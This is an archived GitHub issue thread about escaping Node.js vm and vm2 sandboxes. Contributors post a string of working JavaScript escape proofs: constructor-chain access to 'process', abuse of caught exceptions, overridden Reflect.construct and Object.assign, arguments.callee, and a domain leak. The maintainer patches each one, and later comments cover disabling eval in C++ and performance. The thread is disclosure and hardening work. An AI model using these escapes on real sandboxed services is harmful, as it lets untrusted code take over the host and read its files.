Coder Social home page Coder Social logo

Escaping the vm sandbox about vm2 HOT 64 CLOSED

patriksimek avatar patriksimek commented on May 17, 2024 8
Escaping the vm sandbox

from vm2.

Comments (64)

parasyte avatar parasyte commented on May 17, 2024 8

Argh! You're catching on! ;) I must apologize for leading you on like this. For any audience out there; the problem with VM scope in node.js is with references to objects in the host scope (from which you can gain a reference to all of host scope via the prototype chain).

Now that you've overridden the constructor property, I'll have to go underneath it:

function getParent(o) {
    return o.__proto__.constructor.constructor('return this')();
}

from vm2.

patriksimek avatar patriksimek commented on May 17, 2024 3

Made some research here and noticed that global.__proto__ === host.Object.prototype. By applying Object.setPrototypeOf(global, Object.prototype) I was able to close the cricle.

Thanks again.

from vm2.

parasyte avatar parasyte commented on May 17, 2024 3

FWIW, we solved this just by disabling eval ... and being very careful about not exposing references into the sandbox.

#include <nan.h>

using v8::Local;
using v8::Context;

NAN_METHOD(enableEval) {
  Local<Context> ctx = v8::Isolate::GetCurrent()->GetEnteredContext();
  ctx->AllowCodeGenerationFromStrings(true);

  info.GetReturnValue().SetUndefined();
}

NAN_METHOD(disableEval) {
  Local<Context> ctx = v8::Isolate::GetCurrent()->GetEnteredContext();
  ctx->AllowCodeGenerationFromStrings(false);

  info.GetReturnValue().SetUndefined();
}

void Init(v8::Local<v8::Object> exports) {
  exports->Set(Nan::New("enableEval").ToLocalChecked(),
               Nan::New<v8::FunctionTemplate>(enableEval)->GetFunction());

  exports->Set(Nan::New("disableEval").ToLocalChecked(),
               Nan::New<v8::FunctionTemplate>(disableEval)->GetFunction());
}

NODE_MODULE(vm8, Init)

This prevents the escape since the return process string is unable to be evaluated. As a consequent, it also disables legitimate eval() and Function Generator Constructor calls. (The utility of these features is rather questionable.)

from vm2.

Eric24 avatar Eric24 commented on May 17, 2024 1

I've been playing around with the vm and the suggested C++ code to disable eval from @parasyte . It works well, but using the vm in general comes with a pretty significant performance penalty. So we started experimenting with new Function(...). I'm using this construct:

const userfunc = new Function('context',
  '"use strict"; disableEval(); return ' + '(() => {...userland code here... return ...})();');

This works too, and is much faster (over 1000 times faster in some test cases). In addition to disabling eval, I also prevent the userland code from containing a reference to 'global' (without this test, the function can modify the global scope using global.whatever). This appears to be an effective and secure sandbox. What am I missing?

from vm2.

patriksimek avatar patriksimek commented on May 17, 2024

Thanks for the report, I'm working hard on a new version of vm2 and I was able to fix this leak by creating context inside created context. Not sure if there's another way how to escape the sandbox, haven't found one yet.

const context = vm.createContext(vm.runInNewContext("({})"));

const whatIsThis = vm.runInContext(`
    const ForeignFunction = this.constructor.constructor;
    const process1 = ForeignFunction("return process")();
    const require1 = process1.mainModule.require;
    const console1 = require1("console");
    const fs1 = require1("fs");
    console1.log(fs1.statSync('.'));
`, context);

Tried to climb up but seems it's not possible since this is true:

this.constructor.constructor('return Function(\\'return Function\\')')()() === this.constructor.constructor('return Function')()

from vm2.

keyosk avatar keyosk commented on May 17, 2024

I've been playing with the approach you mention above.

The first goal was to try and adapt your comment to allow me to pass things into the sandbox, which is necessary for my use case. Please correct me if this is the wrong way to go about this, but it seems like the only way:

const vm = require('vm');

const log = console.log;

const context = Object.assign(vm.createContext(vm.runInNewContext('({})')), {
    'log': log
});

const userScript = new vm.Script(`
    (function() {
        log('Hello World Inside');
        return 'Hello World Outside';
    })
`);

const whatIsThis = userScript.runInContext(context)();

console.log(whatIsThis);

Outputs:

Hello World Inside
Hello World Outside

Next I tried again to escape the VM and was successful:

const vm = require('vm');

const log = console.log;

const context = Object.assign(vm.createContext(vm.runInNewContext('({})')), {
    'log': log
});

const userScript = new vm.Script(`
    (function() {

        const ForeignFunction = log.constructor.constructor;
        const process1 = ForeignFunction("return process")();
        const require1 = process1.mainModule.require;
        const console1 = require1("console");
        const fs1 = require1("fs");
        console1.log(fs1.statSync('.'));

        log('Hello World Inside');
        return 'Hello World Outside';
    })
`);

const whatIsThis = userScript.runInContext(context)();

console.log(whatIsThis);

Which outputs:

{ dev: 16777220,
  mode: 16877,
  nlink: 16,
  uid: 502,
  gid: 20,
  rdev: 0,
  blksize: 4096,
  ino: 14441430,
  size: 544,
  blocks: 0,
  atime: Wed Jun 15 2016 17:04:25 GMT-0700 (PDT),
  mtime: Wed Jun 15 2016 17:04:18 GMT-0700 (PDT),
  ctime: Wed Jun 15 2016 17:04:18 GMT-0700 (PDT),
  birthtime: Wed Jun 08 2016 18:02:12 GMT-0700 (PDT) }
Hello World Inside
Hello World Outside

It seems like there is no way to safely inject things into the sandbox without those things being used to climb back out of the sandbox.

from vm2.

patriksimek avatar patriksimek commented on May 17, 2024

There is a way - objects needs to be contextified to VM's context. There're two ways how to do that. You can either deep clone those objects or you can use Proxies. I'm using Proxies in new vm2.

https://github.com/patriksimek/vm2/tree/v3

I have pushed the upcoming release to GH. It is still work in progress but it should work.

from vm2.

parasyte avatar parasyte commented on May 17, 2024

v3 is broken too:

'use strict';

const {VM} = require('vm2');

const vm = new VM({
    'sandbox' : {
        'log' : console.log,
    },
});

vm.run(`
    try {
        log.__proto__ = null;
    }
    catch (e) {
        const foreignFunction = e.constructor.constructor;
        const process = foreignFunction("return process")();
        const require = process.mainModule.require;
        const fs = require("fs");
        log(fs.statSync('.'));
    }
`);

It's kind of futile to play this game of whack-a-mole.

from vm2.

patriksimek avatar patriksimek commented on May 17, 2024

@parasyte thanks, it was caused by a typo in my code. It's fixed now.

from vm2.

parasyte avatar parasyte commented on May 17, 2024

Don't forget to catch exceptions.

'use strict';

const {VM} = require('vm2');

const vm = new VM({
    'sandbox' : {
        boom() {
            throw new Error();
        },
    },
});

vm.run(`
    function exploit(o) {
        const foreignFunction = o.constructor.constructor;
        const process = foreignFunction("return process")();
        const require = process.mainModule.require;
        const console = require('console');
        const fs = require('fs');

        console.log(fs.statSync('.'));

        return o;
    }

    try {
        boom();
    }
    catch (e) {
        exploit(e);
    }
`);

from vm2.

patriksimek avatar patriksimek commented on May 17, 2024

@parasyte thanks, fixed. I really appreciate your contributions.

from vm2.

stephenlb avatar stephenlb commented on May 17, 2024

🚎 +1

from vm2.

parasyte avatar parasyte commented on May 17, 2024

@patriksimek nice one!

I also have access to certain objects in global scope that I can leverage to break out of the contextified sandbox. This one doesn't even require passing any objects into the VM.

'use strict';

const {VM} = require('vm2');

const vm = new VM();

vm.run(`
    function exploit(o) {
        const foreignFunction = o.constructor.constructor;
        const process = foreignFunction('return process')();
        const require = process.mainModule.require;
        const console = require('console');
        const fs = require('fs');

        console.log(fs.statSync('.'));

        return o;
    }

    Reflect.construct = exploit;
    new Buffer([0]);
`);

from vm2.

keyosk avatar keyosk commented on May 17, 2024

@parasyte sheesh! There must be a plethora of vectors left to discover.

from vm2.

parasyte avatar parasyte commented on May 17, 2024

@keyosk Yeah, probably...

BTW @patriksimek the ES6 is much better than coffeescript! πŸ‘

from vm2.

patriksimek avatar patriksimek commented on May 17, 2024

@parasyte thanks again, it's fixed along with some more backdoors that I found.
@keyosk I believe that we will find them all.

from vm2.

parasyte avatar parasyte commented on May 17, 2024

What about this one?

'use strict';

const {VM} = require('vm2');

const vm = new VM();

vm.run(`
    function exploit(o) {
        const foreignFunction = o.constructor.constructor;
        const process = foreignFunction('return process')();
        const require = process.mainModule.require;
        const console = require('console');
        const fs = require('fs');

        console.log(fs.statSync('.'));

        return o;
    }

    Object.assign = function (o) {
        return {
            'get' : function (t, k) {
                try {
                    t = o.get(t, k);
                    exploit(t);
                }
                catch (e) {}

                return t;
            },
        };
    };
    new Buffer([0]);
`);

from vm2.

patriksimek avatar patriksimek commented on May 17, 2024

@parasyte nice catch, fixed that. Thanks.

from vm2.

parasyte avatar parasyte commented on May 17, 2024

You opened a whole new can of worms in a recent patch.

'use strict';

const {VM} = require('vm2');

const vm = new VM();

vm.run(`
    function exploit(o) {
        const foreignFunction = o.constructor.constructor;
        const process = foreignFunction('return process')();
        const require = process.mainModule.require;
        const console = require('console');
        const fs = require('fs');

        console.log(fs.statSync('.'));

        return o;
    }

    try {
        new Buffer();
    }
    catch (e) {
        exploit(e);
    }
`);

from vm2.

patriksimek avatar patriksimek commented on May 17, 2024

Damn, I was working too late and lost focus. Wrote some security notes, primarily for me. :)

Thanks, fixed.

from vm2.

parasyte avatar parasyte commented on May 17, 2024

Well, I haven't even looked into NodeVM until now! There's a lot more surface area to scrub, here...

Right away I noticed an escape via arguments.callee:

'use strict';

const {NodeVM} = require('vm2');

const vm = new NodeVM();

vm.run(`
    function getParent(o) {
        return o.constructor.constructor('return this')();
    }

    function exploit(o) {
        const foreignFunction = o.constructor.constructor;
        const process = foreignFunction('return process')();
        const require = process.mainModule.require;
        const console = require('console');
        const fs = require('fs');

        console.log('\u{1F60E} ', fs.statSync('.'), '\u{1F60E}');

        return o;
    }

    (function () {
        exploit(getParent(getParent(arguments.callee.caller)));
    })();
`);

from vm2.

patriksimek avatar patriksimek commented on May 17, 2024

Well, this points us to the initial issue here - context created inside new context is not enough, obviously. Short version:

vm.run(`
    global.constructor.constructor('return this')().constructor.constructor('return process')()
`);

Haven't found a solution yet. Maybe patching the host with delete process.mainModule but I'm sure there is another way how to climb up to require.

from vm2.

patriksimek avatar patriksimek commented on May 17, 2024

Found a solution :-)

from vm2.

0o-de-lally avatar 0o-de-lally commented on May 17, 2024

@parasyte @patriksimek is this closed on the latest npm published version?

from vm2.

patriksimek avatar patriksimek commented on May 17, 2024

Yep, we can close this for now.

from vm2.

0o-de-lally avatar 0o-de-lally commented on May 17, 2024

@parasyte just for clarity is this something you implemented elsewhere? Or something contributed to vm2?

from vm2.

keyosk avatar keyosk commented on May 17, 2024

@keyscores this was implemented elsewhere.

from vm2.

parasyte avatar parasyte commented on May 17, 2024

Yep, elsewhere. We have a similar sandbox project that is currently awaiting clearance to release open sourced. Sorry for the confusion. I was commenting how the root issue was solved in that project.

from vm2.

0o-de-lally avatar 0o-de-lally commented on May 17, 2024

@parasyte Any update your release? Would be interested to compare implementation. I think everyone wins.

from vm2.

parasyte avatar parasyte commented on May 17, 2024

@keyscores Sorry, nothing to report yet. The open source effort got deprioritized due to some bad planning in the organization. :\

from vm2.

Anorov avatar Anorov commented on May 17, 2024

I know this is a dead issue, but are there any known bypasses for Node's vm library when executing code like this:

vm.runInNewContext("arbitrary user input here", Object.create(null))

from vm2.

Eric24 avatar Eric24 commented on May 17, 2024

@parasyte : Just out of curiosity, why not just disable eval by injecting global.eval = null; into the top of the external code before you execute it?

from vm2.

parasyte avatar parasyte commented on May 17, 2024

@Eric24 Good question! This presentation explains why in some detail: https://vimeo.com/191757364 and here is the slide deck: https://goo.gl/KxiG73

The most important point is that there are many ways to call eval() from JavaScript, and replacing global.eval is just one of them. By the time you get through the entire list, you'll realize that it's impossible to monkey patch evals by GeneratorFunction. And this doesn't include myriad other ways eval() could be exposed by future ES changes.

So the only viable solution is to disable evals in V8 using C++.

from vm2.

Eric24 avatar Eric24 commented on May 17, 2024

@parasyte : Makes perfect sense (and thanks for the presentation). So, does your C++ code disable eval in just the vm or in the "host process" too?

from vm2.

keyosk avatar keyosk commented on May 17, 2024

@Eric24 it will disable eval in the context that disableEval is called in. You'll want to inject this into the start of the provided userland code that is to be run in the vm. Additionally you can also run this in your host and disable it in that context as well.

from vm2.

Eric24 avatar Eric24 commented on May 17, 2024

@parasyte : Got it. Thanks! I have to say that your solution is the best I've found after several days (over several weeks) of researching this topic.

from vm2.

parasyte avatar parasyte commented on May 17, 2024

@Anorov This was reported just a few days ago: nodejs/node#15673 It allows escaping VM even with a null prototype on the sandbox. It's only a problem if domains are enabled (this is not the default, but beware of domain usage in all of your dependency hierarchy).

Here's a handy-dandy proof of concept. Tested on node v8.6.0:

// 'use strict';

const domain = require('domain');
const vm = require('vm');

const untrusted = `
const domain = Promise.resolve().domain;
const process = domain.constructor.constructor('return process')();
const require = process.mainModule.require;
const console = require('console');
const fs = require('fs');
console.log(fs.readdirSync('/'))
`;

domain.create().enter(); // Entering a domain leaks the private context into VM

vm.runInNewContext(untrusted, Object.create(null));

Be mindful of leaks like these. The only way to be safe from this class of vulnerability is disabling eval. And be weary that there may be other issues with vm outside of the scope of eval.

from vm2.

Anorov avatar Anorov commented on May 17, 2024

@parasyte Thanks. I am executing this code with Node from Python: https://github.com/Anorov/cloudflare-scrape/blob/master/cfscrape/__init__.py#L111

No other libraries (domain or otherwise) are imported or used. Do you see any potential issues with this code? I would like to avoid requiring Javascript dependencies (like vm2) if possible.

from vm2.

parasyte avatar parasyte commented on May 17, 2024

@Anorov Ah I see. Are you worried that CloudFlare (or a MITM) will attempt to provide code that could break out of the sandbox? It would have to be a targeted attack, but I wouldn't rule it out entirely.

from vm2.

Anorov avatar Anorov commented on May 17, 2024

from vm2.

keyosk avatar keyosk commented on May 17, 2024

@Anorov:

Is the sandboxing mechanism safe, to the best of the Node community's knowledge?

Absolutely not. The official documentation makes this very strong note:

Note: The vm module is not a security mechanism. Do not use it to run untrusted code.

from vm2.

Anorov avatar Anorov commented on May 17, 2024

from vm2.

keyosk avatar keyosk commented on May 17, 2024

In practice, the sandboxing mechanism is unsafe for untrusted code. That's why @patriksimek has attempted to create a safe sandboxing mechanism with the vm2 library. Which is also why @parasyte has done work to create his own library using a different approach at sandboxing untrusted code.

from vm2.

parasyte avatar parasyte commented on May 17, 2024

@Anorov In short, don't rely on vm solely. But it is a useful tool as a single layer of the onion.

from vm2.

wysisoft avatar wysisoft commented on May 17, 2024

Does your strategy stop people from importing namespaces like fs and drastically modifying your servers? I'm also curious about the eval disabling, why all the worry about eval and not the worry about code outside eval?

from vm2.

Eric24 avatar Eric24 commented on May 17, 2024

@wysisoft : Good question. Yes, 'require' is not exposed. Each script, as part of its meta-data, defines a list of "allowed and verified" modules that it needs, which are individually exposed to the function before it runs. To your point specifically, 'fs' would not be on that approved list (but for scripts that need temporary storage, a set of limited read/write functions are provided).

Disabling 'eval' is key to stopping a number of exploits (see the comment from @parasyte on 18NOV16). Allowing 'eval' makes it possible to access the global scope in a way that cannot otherwise be prevented. More details in the comment from @parasyte on 1OCT17).

from vm2.

parasyte avatar parasyte commented on May 17, 2024

@Eric24 I don't understand what's "slow" about vm. It's exactly the same v8 runtime that powers nodeJS. Are you sure you're not doing something silly, like recreating the sandbox every time you execute the code? There's some overhead, but not 1000x more overhead.

@wysisoft eval() is an easily reachable method of escaping the sandbox. Disabling it will permanently close the escape hatch through evaluating code within the private context. But I reiterate again, this is not the only attack vector and you should be wary of everything.

from vm2.

Eric24 avatar Eric24 commented on May 17, 2024

@parasyte - I have a very simple test that creates a Function() and a VM with as close as possible to the same code for each, runs both 1000 times, and reports the total time required. Code below:

"use strict";

const util = require('util');
const vm = require('vm');
const uuid = require("uuid/v4");

console.log('TEST=' + global.test);
let response = {result: 0, body: null};

// create the Function()
let hrstart = process.hrtime();
const xform = new Function('y', 'response', 'uuid',
  '"use strict"; return ' + '(() => {global.test = "FUNC"; let z = y * 2; response.result = 99; response.body = "TEST"; function doubleZ(n) {return n * 2}; return {x: 123,  y: y, z: doubleZ(z), u:uuid()};})();'
);
let hrend = process.hrtime(hrstart);
console.log('new Function: ', hrend[0], hrend[1]/1000000, '\n');

// create/compile the Script()
hrstart = process.hrtime();
const script = new vm.Script(
  '"use strict"; ((global) => {' + 'global.test = "VM"; let z = y * 2; response.result = 99; response.body = "TEST"; function doubleZ(n) {return n * 2}; return {x: 123,  y: y, z: doubleZ(z), u:uuid()};' + '})(this);'
);
hrend = process.hrtime(hrstart);
console.log('new vm.Script: ', hrend[0], hrend[1]/1000000);

// create the VM context
hrstart = process.hrtime();
let ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid};
let context = new vm.createContext(ctx);
hrend = process.hrtime(hrstart);
console.log('new vm.createContext: ', hrend[0], hrend[1]/1000000, '\n');

// test 1000 iterations of Function()
let out = {};
hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
  out = xform(456, response, uuid);
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('Function (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(response) + '\n');

// test 1000 iterations of VM (with optional new context on each)
hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
  //ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid};  // << THIS IS THE PROBLEM!
  //context = new vm.createContext(ctx);
  out = script.runInContext(context, {timeout: 100});
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('vm (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(ctx) + '\n');

As you can see in the test, I'm creating the script and the context once, then running it 1000 times. However, in the real target use-case, I will need to re-create the context each time (potentially being able to cached the compiled script), because each run is unique and must start with a fresh context). Without recreating the context each time, the difference between the Function() and the VM is 6 to 14 times.

But after taking a closer look, I tried a variation of the code (creating the context each time inside the loop), which is closer to the real use-case. I had originally timed the one-time creation of the context at just under 1ms, so I was including that on a per-iteration basis. But running the actual code showed the real culprit--while VM is still slower, the problem is not creating the context, but creating the 'ctx' object. That's quite a surprise.

But creating a new object for the VM context will be needed each time through (although some variation of that will also be needed for Function(), so the difference between the two is back to the 6 to 14 times (which is still significant).

from vm2.

Eric24 avatar Eric24 commented on May 17, 2024

Hmmm. I just tried another test:

let out = {};
hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
  ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid};
  out = xform(456, response, uuid);
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('Function (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(response) + '\n');


hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
  ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid};
  // let context = new vm.createContext(ctx);
  out = script.runInContext(context, {timeout: 100});
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('vm (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(ctx) + '\n');

Here, the 'ctx' object is recreated each time, in both tests, but the context is only created once. The time difference is back to the 6 to 14 range. But if I uncomment the line that recreates the context each time, were up to 144 times slower!

from vm2.

parasyte avatar parasyte commented on May 17, 2024

@Eric24 You're doing what I said in my previous post. πŸ˜• script.runInContext() is the problem. This is effectively the same thing as calling eval() (with a different v8 context).

The solution to fix your performance problem is to call runInContext once to compile the code, and interact with the compiled code via the reference that it returns, or the references that you provide as input arguments. For example, passing a few new Event() objects for bidirectional communication with the sandbox. This is what our [still internal sandbox, hasn't been open-sourced for political reasons] vm wrapper does, and the overhead is completely negligible.

from vm2.

Eric24 avatar Eric24 commented on May 17, 2024

@parasyte : Hmmm. But doesn't new vm.Script() compile the code? In any case, I think to do what you're saying, the thing I should be caching is the reference to runInContext, so I'll only suffer the overhead the first time a script is called. Definitely worth considering.

from vm2.

parasyte avatar parasyte commented on May 17, 2024

Nope. runInContext compiles the code. Think about it. v8 is a Just-In-Time compiler. It has to execute the code to compile it.

from vm2.

Eric24 avatar Eric24 commented on May 17, 2024

@parasyte : OK, but from the node.js docs:
Instances of the vm.Script class contain precompiled scripts that can be executed in specific sandboxes (or "contexts").

from vm2.

parasyte avatar parasyte commented on May 17, 2024

@Eric24 The documentation is kind of confusing. The associated code snippet gets "compiled" in the same sense that an interpreter compiles JavaScript into byte code. The JS is capable of executing via an interpreter after the Script object has been instantiated, but the majority of perf gain from v8 comes from compiling this interpreted intermediate representation down into native machine code. The latter step doesn't begin until runInContext is called.

In reality, the JIT compiler life cycle is more complex than that, since the code has to warm up before the JIT will even consider it for optimization. There's plenty of reading materials on the Internet if you're interested in the details.

But to provide you with some hard data, here's the relevant source code for runInContext: https://github.com/nodejs/node/blob/v8.7.0/lib/vm.js#L54-L61

The realRunInContext reference is from the C++ contextifymodule. Which you can find here: https://github.com/nodejs/node/blob/v8.7.0/src/node_contextify.cc#L660-L719

The most important part of this C++ code is arguably the call to EvalMachine, which binds the compiled code to the current context, and calls script->Run() to begin the JIT compiler. Which of course is what starts looking for code to optimize.

Hope that helps!

from vm2.

Eric24 avatar Eric24 commented on May 17, 2024

@parasyte : Yes, that's helpful. Thanks!

from vm2.

rajagopalsom avatar rajagopalsom commented on May 17, 2024

We are struggling with one implementation using vm2 sandbox. Can we call async code inside the vm2 sandbox? the reason is, we need to connect to a data source like Mysql from the sandbox of vm2?

from vm2.

wysisoft avatar wysisoft commented on May 17, 2024

from vm2.

rajagopalsom avatar rajagopalsom commented on May 17, 2024

@wysisoft Thanks for the reply, We have separately raised the issue with the details #102. Also the SQL access configs is provided by the user itself and sandbox script wont be accessing our app DB.

from vm2.

platinumindustries avatar platinumindustries commented on May 17, 2024

@Eric24 mind sharing the 'new Function ()' alternative? Looks cleaner than the VM

from vm2.

Eric24 avatar Eric24 commented on May 17, 2024

@platinumindustries : In the end, I actually don't recommend the "new Function()" alternative. We ended up staying with the VM approach, and focused on optimizing that code instead. What we have now works very well. I honestly can't recall exactly what pushed us in that direction, but I know there were several little things that ultimately crossed the "new Function()" approach off the list.

from vm2.

platinumindustries avatar platinumindustries commented on May 17, 2024

@Eric24 Very well then. Also, in the new version of NodeJS 10.9* They do have an option for disabling eval() in the vm. So is that enough or do I still need to disable it from C

from vm2.

darahayes avatar darahayes commented on May 17, 2024

Really sorry for jumping into an old thread.

However, in the real target use-case, I will need to re-create the context each time (potentially being able to cached the compiled script), because each run is unique and must start with a fresh context).

@Eric24 I'm looking at how I might potentially run some arbitrary code using vm2 inside a server application. I believe my use case is similar to the one you mentioned because I'm looking at how I can pass parameters/arguments from an incoming request into the code running inside the vm.

Right now the only way I can see to do this is to create a new context each time but this is really slow. I'm trying to figure out if I can reuse one context object but use some other mechanism to provide data to the code running inside the VM. @parasyte mentioned something about bidirectional communication using Event() objects but it wasn't totally clear to me.

I was wondering if you ran into a similar problem and if you did, would you mind sharing some tips as to how you solved it? Thanks for your time.

from vm2.

Eric24 avatar Eric24 commented on May 17, 2024

@darahayes : Actually, I am creating a new context for each run, but I don't find this slow at all. What kind of performance are you seeing vs. what you're expecting? And how are you measuring the performance?

from vm2.

wysisoft avatar wysisoft commented on May 17, 2024

I am spinning up a fresh nodejs process for each run, and its not that bad, less than 100 ms of delay.

from vm2.

Related Issues (20)

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    πŸ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. πŸ“ŠπŸ“ˆπŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❀️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.